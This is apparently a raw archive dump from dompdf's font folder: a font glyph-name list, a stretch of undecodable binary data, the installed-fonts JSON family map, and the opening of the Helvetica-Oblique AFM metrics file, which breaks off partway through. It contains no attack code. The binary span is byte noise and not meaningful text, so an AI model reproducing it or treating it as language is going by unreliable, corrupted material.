invsmilefacesununi263Duni263Euni263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647uni2648uni2649uni264Auni264Buni264Cuni264Duni264Euni264Funi2650uni2651uni2652uni2653uni2654uni2655uni2656uni2657uni2658uni2659uni265Auni265Buni265Cuni265Duni265Euni265Fspadeuni2661uni2662clubuni2664heartdiamonduni2667uni2668uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi2670uni2671uni2672uni2673uni2674uni2675uni2676uni2677uni2678uni2679uni267Auni267Buni267Cuni267Duni267Euni267Funi2680uni2681uni2682uni2683uni2684uni2685uni2686uni2687uni2688uni2689uni268Auni268Buni268Cuni268Duni268Euni268Funi2690uni2691uni2692uni2693uni2694uni2695uni2696uni2697uni2698uni2699uni269Auni269Buni269Cuni269Euni269Funi26A0uni26A1uni26A2uni26A3uni26A4uni26A5uni26A6uni26A7uni26A8uni26A9uni26AAuni26ABuni26ACuni26ADuni26AEuni26AFuni26B0uni26B1uni26B2uni26B3uni26B4uni26B5uni26B6uni26B7uni26B8uni26C0uni26C1uni26C2uni26C3uni26E2uni2701uni2702uni2703uni2704uni2706uni2707uni2708uni2709uni270Cuni270Duni270Euni270Funi2710uni2711uni2712uni2713uni2714uni2715uni2716uni2717uni2718uni2719uni271Auni271Buni271Cuni271Duni271Euni271Funi2720uni2721uni2722uni2723uni2724uni2725uni2726uni2727uni2729uni272Auni272Buni272Cuni272Duni272Euni272Funi2730uni2731uni2732uni2733uni2734uni2735uni2736uni2737uni2738uni2739uni273Auni273Buni273Cuni273Duni273Euni273Funi2740uni2741uni2742uni2743uni2744uni2745uni2746uni2747uni2748uni2749uni274Auni274Buni274Duni274Funi2750uni2751uni2752uni2756uni2758uni2759uni275Auni275Buni275Cuni275Duni275Euni2761uni2762uni2763uni2764uni2765uni2766uni2767uni2768uni2769uni276Auni276Buni276Cuni276Duni276Euni276Funi2770uni2771uni2772uni2773uni2774uni2775uni2776uni2777uni2778uni2779uni277Auni277Buni277Cuni277Duni277Euni277Funi2780uni2781uni2782uni2783uni2784uni2785uni2786uni2787uni2788uni2789uni278Auni278Buni278Cuni278Duni278Euni278Funi2790uni2791uni2792uni2793uni2794uni2798uni2799uni279Auni279Buni279Cuni279Duni279Euni279Funi27A0uni27A1uni27A2uni27A3uni27A4uni27A5uni27A6uni27A7uni27A8uni27A9uni27AAuni27ABuni27ACuni27ADuni27AEuni27AFuni27B1uni27B2uni27B3uni27B4uni27B5uni27B6uni27B7uni27B8uni27B9uni27BAuni27BBuni27BCuni27BDuni27BEuni27C5uni27C6uni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2906uni2907uni290Auni290Buni2940uni2941uni2983uni2984uni29CEuni29CFuni29D0uni29D1uni29D2uni29D3uni29D4uni29D5uni29EBuni29FAuni29FBuni2A00uni2A01uni2A02uni2A0Cuni2A0Duni2A0Euni2A0Funi2A10uni2A11uni2A12uni2A13uni2A14uni2A15uni2A16uni2A17uni2A18uni2A19uni2A1Auni2A1Buni2A1Cuni2A2Funi2A6Auni2A6Buni2A7Duni2A7Euni2A7Funi2A80uni2A81uni2A82uni2A83uni2A84uni2A85uni2A86uni2A87uni2A88uni2A89uni2A8Auni2A8Buni2A8Cuni2A8Duni2A8Euni2A8Funi2A90uni2A91uni2A92uni2A93uni2A94uni2A95uni2A96uni2A97uni2A98uni2A99uni2A9Auni2A9Buni2A9Cuni2A9Duni2A9Euni2A9Funi2AA0uni2AAEuni2AAFuni2AB0uni2AB1uni2AB2uni2AB3uni2AB4uni2AB5uni2AB6uni2AB7uni2AB8uni2AB9uni2ABAuni2AF9uni2AFAuni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2B1Funi2B20uni2B21uni2B22uni2B23uni2B24uni2B53uni2B54uni2C60uni2C61uni2C62uni2C63uni2C64uni2C65uni2C66uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C74uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2D30uni2D31uni2D32uni2D33uni2D34uni2D35uni2D36uni2D37uni2D38uni2D39uni2D3Auni2D3Buni2D3Cuni2D3Duni2D3Euni2D3Funi2D40uni2D41uni2D42uni2D43uni2D44uni2D45uni2D46uni2D47uni2D48uni2D49uni2D4Auni2D4Buni2D4Cuni2D4Duni2D4Euni2D4Funi2D50uni2D51uni2D52uni2D53uni2D54uni2D55uni2D56uni2D57uni2D58uni2D59uni2D5Auni2D5Buni2D5Cuni2D5Duni2D5Euni2D5Funi2D60uni2D61uni2D62uni2D63uni2D64uni2D65uni2D6Funi2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2Euni4DC0uni4DC1uni4DC2uni4DC3uni4DC4uni4DC5uni4DC6uni4DC7uni4DC8uni4DC9uni4DCAuni4DCBuni4DCCuni4DCDuni4DCEuni4DCFuni4DD0uni4DD1uni4DD2uni4DD3uni4DD4uni4DD5uni4DD6uni4DD7uni4DD8uni4DD9uni4DDAuni4DDBuni4DDCuni4DDDuni4DDEuni4DDFuni4DE0uni4DE1uni4DE2uni4DE3uni4DE4uni4DE5uni4DE6uni4DE7uni4DE8uni4DE9uni4DEAuni4DEBuni4DECuni4DEDuni4DEEuni4DEFuni4DF0uni4DF1uni4DF2uni4DF3uni4DF4uni4DF5uni4DF6uni4DF7uni4DF8uni4DF9uni4DFAuni4DFBuni4DFCuni4DFDuni4DFEuni4DFFuniA4D0uniA4D1uniA4D2uniA4D3uniA4D4uniA4D5uniA4D6uniA4D7uniA4D8uniA4D9uniA4DAuniA4DBuniA4DCuniA4DDuniA4DEuniA4DFuniA4E0uniA4E1uniA4E2uniA4E3uniA4E4uniA4E5uniA4E6uniA4E7uniA4E8uniA4E9uniA4EAuniA4EBuniA4ECuniA4EDuniA4EEuniA4EFuniA4F0uniA4F1uniA4F2uniA4F3uniA4F4uniA4F5uniA4F6uniA4F7uniA4F8uniA4F9uniA4FAuniA4FBuniA4FCuniA4FDuniA4FEuniA4FFuniA644uniA645uniA646uniA647uniA64CuniA64DuniA650uniA651uniA654uniA655uniA656uniA657uniA662uniA663uniA664uniA665uniA666uniA667uniA668uniA669uniA66AuniA66BuniA66CuniA66DuniA66EuniA68AuniA68BuniA68CuniA68DuniA694uniA695uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA728uniA729uniA72AuniA72BuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA748uniA749uniA74AuniA74BuniA74EuniA74FuniA750uniA751uniA752uniA753uniA756uniA757uniA764uniA765uniA766uniA767uniA780uniA781uniA782uniA783uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7A0uniA7A1uniA7A2uniA7A3uniA7A4uniA7A5uniA7A6uniA7A7uniA7A8uniA7A9uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FF	uni02E5.5	uni02E6.5	uni02E7.5	uni02E8.5	uni02E9.5	uni02E5.4	uni02E6.4	uni02E7.4	uni02E8.4	uni02E9.4	uni02E5.3	uni02E6.3	uni02E7.3	uni02E8.3	uni02E9.3	uni02E5.2	uni02E6.2	uni02E7.2	uni02E8.2	uni02E9.2	uni02E5.1	uni02E6.1	uni02E7.1	uni02E8.1	uni02E9.1stemuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF429uniF42AuniF42BuniF42CuniF42DuniF42EuniF42FuniF430uniF431uniF432uniF433uniF434uniF435uniF436uniF437uniF438uniF439uniF43AuniF43BuniF43CuniF43DuniF43EuniF43FuniF440uniF441uniF6C5uniFB00uniFB03uniFB04uniFB05uniFB06uniFB13uniFB14uniFB15uniFB16uniFB17uniFB1DuniFB1EuniFB1FuniFB20uniFB21uniFB22uniFB23uniFB24uniFB25uniFB26uniFB27uniFB28uniFB29uniFB2AuniFB2BuniFB2CuniFB2DuniFB2EuniFB2FuniFB30uniFB31uniFB32uniFB33uniFB34uniFB35uniFB36uniFB38uniFB39uniFB3AuniFB3BuniFB3CuniFB3EuniFB40uniFB41uniFB43uniFB44uniFB46uniFB47uniFB48uniFB49uniFB4AuniFB4BuniFB4CuniFB4DuniFB4EuniFB4FuniFB52uniFB53uniFB54uniFB55uniFB56uniFB57uniFB58uniFB59uniFB5AuniFB5BuniFB5CuniFB5DuniFB5EuniFB5FuniFB60uniFB61uniFB62uniFB63uniFB64uniFB65uniFB66uniFB67uniFB68uniFB69uniFB6AuniFB6BuniFB6CuniFB6DuniFB6EuniFB6FuniFB70uniFB71uniFB72uniFB73uniFB74uniFB75uniFB76uniFB77uniFB78uniFB79uniFB7AuniFB7BuniFB7CuniFB7DuniFB7EuniFB7FuniFB80uniFB81uniFB82uniFB83uniFB84uniFB85uniFB86uniFB87uniFB88uniFB89uniFB8AuniFB8BuniFB8CuniFB8DuniFB8EuniFB8FuniFB90uniFB91uniFB92uniFB93uniFB94uniFB95uniFB96uniFB97uniFB98uniFB99uniFB9AuniFB9BuniFB9CuniFB9DuniFB9EuniFB9FuniFBA0uniFBA1uniFBA2uniFBA3uniFBAAuniFBABuniFBACuniFBADuniFBD3uniFBD4uniFBD5uniFBD6uniFBD7uniFBD8uniFBD9uniFBDAuniFBDBuniFBDCuniFBDEuniFBDFuniFBE4uniFBE5uniFBE6uniFBE7uniFBE8uniFBE9uniFBFCuniFBFDuniFBFEuniFBFFuniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFE20uniFE21uniFE22uniFE23uniFE70uniFE71uniFE72uniFE73uniFE74uniFE76uniFE77uniFE78uniFE79uniFE7AuniFE7BuniFE7CuniFE7DuniFE7EuniFE7FuniFE80uniFE81uniFE82uniFE83uniFE84uniFE85uniFE86uniFE87uniFE88uniFE89uniFE8AuniFE8BuniFE8CuniFE8DuniFE8EuniFE8FuniFE90uniFE91uniFE92uniFE93uniFE94uniFE95uniFE96uniFE97uniFE98uniFE99uniFE9AuniFE9BuniFE9CuniFE9DuniFE9EuniFE9FuniFEA0uniFEA1uniFEA2uniFEA3uniFEA4uniFEA5uniFEA6uniFEA7uniFEA8uniFEA9uniFEAAuniFEABuniFEACuniFEADuniFEAEuniFEAFuniFEB0uniFEB1uniFEB2uniFEB3uniFEB4uniFEB5uniFEB6uniFEB7uniFEB8uniFEB9uniFEBAuniFEBBuniFEBCuniFEBDuniFEBEuniFEBFuniFEC0uniFEC1uniFEC2uniFEC3uniFEC4uniFEC5uniFEC6uniFEC7uniFEC8uniFEC9uniFECAuniFECBuniFECCuniFECDuniFECEuniFECFuniFED0uniFED1uniFED2uniFED3uniFED4uniFED5uniFED6uniFED7uniFED8uniFED9uniFEDAuniFEDBuniFEDCuniFEDDuniFEDEuniFEDFuniFEE0uniFEE1uniFEE2uniFEE3uniFEE4uniFEE5uniFEE6uniFEE7uniFEE8uniFEE9uniFEEAuniFEEBuniFEECuniFEEDuniFEEEuniFEEFuniFEF0uniFEF1uniFEF2uniFEF3uniFEF4uniFEF5uniFEF6uniFEF7uniFEF8uniFEF9uniFEFAuniFEFBuniFEFCuniFEFFuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu10300u10301u10302u10303u10304u10305u10306u10307u10308u10309u1030Au1030Bu1030Cu1030Du1030Eu1030Fu10310u10311u10312u10313u10314u10315u10316u10317u10318u10319u1031Au1031Bu1031Cu1031Du1031Eu10320u10321u10322u10323u1D300u1D301u1D302u1D303u1D304u1D305u1D306u1D307u1D308u1D309u1D30Au1D30Bu1D30Cu1D30Du1D30Eu1D30Fu1D310u1D311u1D312u1D313u1D314u1D315u1D316u1D317u1D318u1D319u1D31Au1D31Bu1D31Cu1D31Du1D31Eu1D31Fu1D320u1D321u1D322u1D323u1D324u1D325u1D326u1D327u1D328u1D329u1D32Au1D32Bu1D32Cu1D32Du1D32Eu1D32Fu1D330u1D331u1D332u1D333u1D334u1D335u1D336u1D337u1D338u1D339u1D33Au1D33Bu1D33Cu1D33Du1D33Eu1D33Fu1D340u1D341u1D342u1D343u1D344u1D345u1D346u1D347u1D348u1D349u1D34Au1D34Bu1D34Cu1D34Du1D34Eu1D34Fu1D350u1D351u1D352u1D353u1D354u1D355u1D356u1D538u1D539u1D53Bu1D53Cu1D53Du1D53Eu1D540u1D541u1D542u1D543u1D544u1D546u1D54Au1D54Bu1D54Cu1D54Du1D54Eu1D54Fu1D550u1D552u1D553u1D554u1D555u1D556u1D557u1D558u1D559u1D55Au1D55Bu1D55Cu1D55Du1D55Eu1D55Fu1D560u1D561u1D562u1D563u1D564u1D565u1D566u1D567u1D568u1D569u1D56Au1D56Bu1D5D4u1D5D5u1D5D6u1D5D7u1D5D8u1D5D9u1D5DAu1D5DBu1D5DCu1D5DDu1D5DEu1D5DFu1D5E0u1D5E1u1D5E2u1D5E3u1D5E4u1D5E5u1D5E6u1D5E7u1D5E8u1D5E9u1D5EAu1D5EBu1D5ECu1D5EDu1D5EEu1D5EFu1D5F0u1D5F1u1D5F2u1D5F3u1D5F4u1D5F5u1D5F6u1D5F7u1D5F8u1D5F9u1D5FAu1D5FBu1D5FCu1D5FDu1D5FEu1D5FFu1D600u1D601u1D602u1D603u1D604u1D605u1D606u1D607u1D756u1D757u1D758u1D759u1D75Au1D75Bu1D75Cu1D75Du1D75Eu1D75Fu1D760u1D761u1D762u1D763u1D764u1D765u1D766u1D767u1D768u1D769u1D76Au1D76Bu1D76Cu1D76Du1D76Eu1D76Fu1D770u1D771u1D772u1D773u1D774u1D775u1D776u1D777u1D778u1D779u1D77Au1D77Bu1D77Cu1D77Du1D77Eu1D77Fu1D780u1D781u1D782u1D783u1D784u1D785u1D786u1D787u1D788u1D789u1D78Au1D78Bu1D78Cu1D78Du1D78Eu1D78Fu1D7D8u1D7D9u1D7DAu1D7DBu1D7DCu1D7DDu1D7DEu1D7DFu1D7E0u1D7E1u1D7ECu1D7EDu1D7EEu1D7EFu1D7F0u1D7F1u1D7F2u1D7F3u1D7F4u1D7F5u1F030u1F031u1F032u1F033u1F034u1F035u1F036u1F037u1F038u1F039u1F03Au1F03Bu1F03Cu1F03Du1F03Eu1F03Fu1F040u1F041u1F042u1F043u1F044u1F045u1F046u1F047u1F048u1F049u1F04Au1F04Bu1F04Cu1F04Du1F04Eu1F04Fu1F050u1F051u1F052u1F053u1F054u1F055u1F056u1F057u1F058u1F059u1F05Au1F05Bu1F05Cu1F05Du1F05Eu1F05Fu1F060u1F061u1F062u1F063u1F064u1F065u1F066u1F067u1F068u1F069u1F06Au1F06Bu1F06Cu1F06Du1F06Eu1F06Fu1F070u1F071u1F072u1F073u1F074u1F075u1F076u1F077u1F078u1F079u1F07Au1F07Bu1F07Cu1F07Du1F07Eu1F07Fu1F080u1F081u1F082u1F083u1F084u1F085u1F086u1F087u1F088u1F089u1F08Au1F08Bu1F08Cu1F08Du1F08Eu1F08Fu1F090u1F091u1F092u1F093u1F0A0u1F0A1u1F0A2u1F0A3u1F0A4u1F0A5u1F0A6u1F0A7u1F0A8u1F0A9u1F0AAu1F0ABu1F0ACu1F0ADu1F0AEu1F0B1u1F0B2u1F0B3u1F0B4u1F0B5u1F0B6u1F0B7u1F0B8u1F0B9u1F0BAu1F0BBu1F0BCu1F0BDu1F0BEu1F0C1u1F0C2u1F0C3u1F0C4u1F0C5u1F0C6u1F0C7u1F0C8u1F0C9u1F0CAu1F0CBu1F0CCu1F0CDu1F0CEu1F0CFu1F0D1u1F0D2u1F0D3u1F0D4u1F0D5u1F0D6u1F0D7u1F0D8u1F0D9u1F0DAu1F0DBu1F0DCu1F0DDu1F0DEu1F0DFu1F311u1F312u1F313u1F314u1F315u1F316u1F317u1F318u1F42Du1F42Eu1F431u1F435u1F600u1F601u1F602u1F603u1F604u1F605u1F606u1F607u1F608u1F609u1F60Au1F60Bu1F60Cu1F60Du1F60Eu1F60Fu1F610u1F611u1F612u1F613u1F614u1F615u1F616u1F617u1F618u1F619u1F61Au1F61Bu1F61Cu1F61Du1F61Eu1F61Fu1F620u1F621u1F622u1F623u1F625u1F626u1F627u1F628u1F629u1F62Au1F62Bu1F62Du1F62Eu1F62Fu1F630u1F631u1F632u1F633u1F634u1F635u1F636u1F637u1F638u1F639u1F63Au1F63Bu1F63Cu1F63Du1F63Eu1F63Fu1F640u1F643	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronBreve	DotaccentHungarumlautDoublegrave
arabic_dotarabic_2dotsarabic_3dotsarabic_3dots_aarabic_2dots_aarabic_4dotsuni066E.finauni066E.inituni066E.mediuni06A1.finauni06A1.inituni06A1.mediuni066F.finauni066F.inituni066F.mediuni06BA.inituni06BA.mediarabic_ringuni067C.finauni067C.inituni067C.mediuni067D.finauni067D.inituni067D.mediuni0681.finauni0681.inituni0681.mediuni0682.finauni0682.inituni0682.mediuni0685.finauni0685.inituni0685.mediuni06BF.finauni06BF.inituni06BF.mediarabic_gaf_baruni0311.caseEng.altuni0268.dotlessuni029D.dotlessuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307
brailledotJ.altuni0695.finauniFEAE.fina.longstartuni06B5.finauni06B5.inituni06B5.mediuni06CE.finauni06CE.inituni06CE.mediuni0692.final.altuni06D5.finauni0478.monographuni0479.monographiogonek.dotlessuni2148.dotlessuni2149.dotlessuni1E2D.dotlessuni1ECB.dotlesscdoI.alt
arrow.baseuni0651064Buni0651064Cuni064B0651uni0651064Euni0651064Funi064E0651uni0654064Euni0654064Funi07CA.finauni07CA.mediuni07CA.inituni07CB.finauni07CB.mediuni07CB.inituni07CC.finauni07CC.mediuni07CC.inituni07CD.finauni07CD.mediuni07CD.inituni07CE.finauni07CE.mediuni07CE.inituni07CF.finauni07CF.mediuni07CF.inituni07D0.finauni07D0.mediuni07D0.inituni07D1.finauni07D1.mediuni07D1.inituni07D2.finauni07D2.mediuni07D2.inituni07D3.finauni07D3.mediuni07D3.inituni07D4.finauni07D4.mediuni07D4.inituni07D5.finauni07D5.mediuni07D5.inituni07D6.finauni07D6.mediuni07D6.inituni07D7.finauni07D7.mediuni07D7.inituni07D8.finauni07D8.mediuni07D8.inituni07D9.finauni07D9.mediuni07D9.inituni07DA.finauni07DA.mediuni07DA.inituni07DB.finauni07DB.mediuni07DB.inituni07DC.finauni07DC.mediuni07DC.inituni07DD.finauni07DD.mediuni07DD.inituni07DE.finauni07DE.mediuni07DE.inituni07DF.finauni07DF.mediuni07DF.inituni07E0.finauni07E0.mediuni07E0.inituni07E1.finauni07E1.mediuni07E1.inituni07E2.finauni07E2.mediuni07E2.inituni07E3.finauni07E3.mediuni07E3.inituni07E4.finauni07E4.mediuni07E4.inituni07E5.finauni07E5.mediuni07E5.inituni07E6.finauni07E6.mediuni07E6.inituni07E7.finauni07E7.mediuni07E7.init	Ringaboveuni2630.altuni2631.altuni2632.altuni2633.altuni2634.altuni2635.altuni2636.altuni2637.altuni047E.diacuni048a.brevelessuni048B.brevelessy.altuni0689.finauni068A.finauni068B.finauni068F.finauni0690.finauni0693.finauni0694.finauni0696.finauni0697.finauni0699.finauni069A.finauni069A.inituni069A.mediuni069B.finauni069B.inituni069B.mediuni069C.finauni069C.inituni069C.mediuni069D.finauni069D.inituni069D.mediuni069E.finauni069E.inituni069E.mediuni069F.finauni069F.inituni069F.mediuni06A0.finauni06A0.inituni06A0.mediuni06A2.finauni06A2.inituni06A2.mediuni06A3.finauni06A3.inituni06A3.mediuni06A5.finauni06A5.inituni06A5.mediuni06A7.finauni06A7.inituni06A7.mediuni06A8.finauni06A8.inituni06A8.mediuni06AA.finauni06AA.inituni06AA.mediuni06AB.finauni06AB.inituni06AB.mediuni06AC.finauni06AC.inituni06AC.mediuni06AE.finauni06AE.inituni06AE.mediuni06B0.finauni06B0.inituni06B0.mediuni06B2.finauni06B2.inituni06B2.mediuni06B4.finauni06B4.inituni06B4.mediuni06B6.finauni06B6.inituni06B6.mediuni06B7.finauni06B7.inituni06B7.mediuni06B8.finauni06B8.inituni06B8.mediuni06B9.finauni06B9.inituni06B9.mediuni06BC.finauni06BC.inituni06BC.mediuni06BD.finauni06BD.inituni06BD.mediexclamdown.casequestiondown.caseuni2E18.caseA��&�%$!:$�#"!:"�!: ��d���������}�}
�
�
�Y��
&Y@
&	�����.A�����@�}�>����,���,����G�}�G���������������
��
�@��
�2�
�����������������d�۠�d��%��%��%����������� ���%�ё�%Д�#���&����̑���ɻ���]ɻɀ�@��%�]�@�%��dĐ�������:�����:���2�����������������������������������������}���&���������
��������@�����������������������]������%�]�@����.���.���@���� ����K���������%��������������%���%�����2�������
~�}�|�{�z�y�wv�w�v�utu�ts�r}q�po,o,n�m�l�k�j�i�hch2g�f2ed
e�d
d@cb
cb
a`a�``_
^�]�\\�[Z[�ZZY�X�W�V@�V�U�TSRQR�QQPOP�ONONMLKLKJKJIJIH�GFGFE�DCDCBA%B�AA%@?@�?>?>=<
=<
;d:�98�7656%5455�4

44�3233@210�1�00�/.-,:-�,%,:+d*d)�(''& %$#@+$#"
"�!!@ 
%�@�
K}K�%�%d��d��

�2

�


@	���
�
@�d�

�d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/installed-fonts.dist.json000066600000004260151150443000017424 0ustar00{
    "sans-serif": {
        "normal": "Helvetica",
        "bold": "Helvetica-Bold",
        "italic": "Helvetica-Oblique",
        "bold_italic": "Helvetica-BoldOblique"
    },
    "times": {
        "normal": "Times-Roman",
        "bold": "Times-Bold",
        "italic": "Times-Italic",
        "bold_italic": "Times-BoldItalic"
    },
    "times-roman": {
        "normal": "Times-Roman",
        "bold": "Times-Bold",
        "italic": "Times-Italic",
        "bold_italic": "Times-BoldItalic"
    },
    "courier": {
        "normal": "Courier",
        "bold": "Courier-Bold",
        "italic": "Courier-Oblique",
        "bold_italic": "Courier-BoldOblique"
    },
    "helvetica": {
        "normal": "Helvetica",
        "bold": "Helvetica-Bold",
        "italic": "Helvetica-Oblique",
        "bold_italic": "Helvetica-BoldOblique"
    },
    "zapfdingbats": {
        "normal": "ZapfDingbats",
        "bold": "ZapfDingbats",
        "italic": "ZapfDingbats",
        "bold_italic": "ZapfDingbats"
    },
    "symbol": {
        "normal": "Symbol",
        "bold": "Symbol",
        "italic": "Symbol",
        "bold_italic": "Symbol"
    },
    "serif": {
        "normal": "Times-Roman",
        "bold": "Times-Bold",
        "italic": "Times-Italic",
        "bold_italic": "Times-BoldItalic"
    },
    "monospace": {
        "normal": "Courier",
        "bold": "Courier-Bold",
        "italic": "Courier-Oblique",
        "bold_italic": "Courier-BoldOblique"
    },
    "fixed": {
        "normal": "Courier",
        "bold": "Courier-Bold",
        "italic": "Courier-Oblique",
        "bold_italic": "Courier-BoldOblique"
    },
    "dejavu sans": {
        "bold": "DejaVuSans-Bold",
        "bold_italic": "DejaVuSans-BoldOblique",
        "italic": "DejaVuSans-Oblique",
        "normal": "DejaVuSans"
    },
    "dejavu sans mono": {
        "bold": "DejaVuSansMono-Bold",
        "bold_italic": "DejaVuSansMono-BoldOblique",
        "italic": "DejaVuSansMono-Oblique",
        "normal": "DejaVuSansMono"
    },
    "dejavu serif": {
        "bold": "DejaVuSerif-Bold",
        "bold_italic": "DejaVuSerif-BoldItalic",
        "italic": "DejaVuSerif-Italic",
        "normal": "DejaVuSerif"
    }
}vendor/dompdf/dompdf/lib/fonts/Helvetica-Oblique.afm000066600000227427151150443000016464 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:44:31 1997
Comment UniqueID 43055
Comment VMusage 14960 69346
FontName Helvetica-Oblique
FullName Helvetica Oblique
FamilyName Helvetica
Weight Medium
ItalicAngle -12
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -170 -225 1116 931
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 718
XHeight 523
Ascender 718
Descender -207
StdHW 76
StdVW 88
StartCharMetrics 317
C 32 ; WX 278 ; N space ; B 0 0 0 0 ;
C 160 ; WX 278 ; N space ; B 0 0 0 0 ;
C 33 ; WX 278 ; N exclam ; B 90 0 340 718 ;
C 34 ; WX 355 ; N quotedbl ; B 168 463 438 718 ;
C 35 ; WX 556 ; N numbersign ; B 73 0 631 688 ;
C 36 ; WX 556 ; N dollar ; B 69 -115 617 775 ;
C 37 ; WX 889 ; N percent ; B 147 -19 889 703 ;
C 38 ; WX 667 ; N ampersand ; B 77 -15 647 718 ;
C 146 ; WX 222 ; N quoteright ; B 151 463 310 718 ;
C 40 ; WX 333 ; N parenleft ; B 108 -207 454 733 ;
C 41 ; WX 333 ; N parenright ; B -9 -207 337 733 ;
C 42 ; WX 389 ; N asterisk ; B 165 431 475 718 ;
C 43 ; WX 584 ; N plus ; B 85 0 606 505 ;
C 44 ; WX 278 ; N comma ; B 56 -147 214 106 ;
C 45 ; WX 333 ; N hyphen ; B 93 232 357 322 ;
C 173 ; WX 333 ; N hyphen ; B 44 232 289 322 ;
C 46 ; WX 278 ; N period ; B 87 0 214 106 ;
C 47 ; WX 278 ; N slash ; B -21 -19 452 737 ;
C 48 ; WX 556 ; N zero ; B 93 -19 608 703 ;
C 49 ; WX 556 ; N one ; B 207 0 508 703 ;
